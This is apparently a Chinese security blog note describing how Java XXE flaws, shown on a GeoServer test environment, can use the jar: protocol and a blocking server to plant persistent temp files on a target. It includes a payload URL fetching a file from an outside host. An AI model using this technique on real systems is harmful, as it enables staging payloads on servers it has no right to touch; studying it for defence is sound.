Java环境下xxe结合jar协议实现缓存
前两天看到geoserver出来个新的xxe漏洞,就去看了一下,突然想去看看在java中的xxe除了http和file协议,还能利用什么协议,就找到了篇文章,学了一个小trick文章链接:https://1oecho.github.io/LfXdtONwu/
jar协议URL格式:jar:<url>!/{entry},其中<url>的位置又支持http协议和file协议,可以远程或本地读取jar文件,{entry}是我们想要从压缩包中读取的文件路径
1 | //本地 |
这里拿geoserver XXE的漏洞环境作为示例
当我们使用jar协议去处理jar包时,会将压缩包缓存到系统中的某个临时文件下,这里的临时文件写入到了/usr/local/tomcat/temp/jar_cache1651234593392986925.tmp中,解压缩后读取我们想要的文件

但是在读取后,就会将临时文件删除,我们可以使用以下这个工具,来达到临时文件持久化的目的
工具链接:https://github.com/pwntester/BlockingServer
使用如下命令,开启一个端口,将我们想要持久化缓存的文件名写到命令中
1 | javac BlockingServer.java |
然后使用jar协议访问对应的ip与端口,我们这里就会接收到相关请求,并将临时文件持久化
1 | jar:http://10.68.1.134:8000/test.zip!/test.txt |

这里我们就可以看到我们的临时文件并没有被删除,内容就是我们的ZIP文件或Jar文件

但是这个文件内容并不一定要遵循压缩包的格式,我们将压缩包内容改为Jar Test File,然后再进行Jar协议读取,可以看到也是可以进行临时缓存的
这样我们就可以在一些不出网的情况下,使用jar协议进行临时文件持久化到本地进行加载,提供了一种不出网的利用方式

但是这个临时文件的名字是随机的,想要获取到这个临时文件的文件名,就要配合目录遍历漏洞了,当然在一些XXE的情况下,XXE漏洞是可以利用jar协议进行目录遍历的,可以配合使用
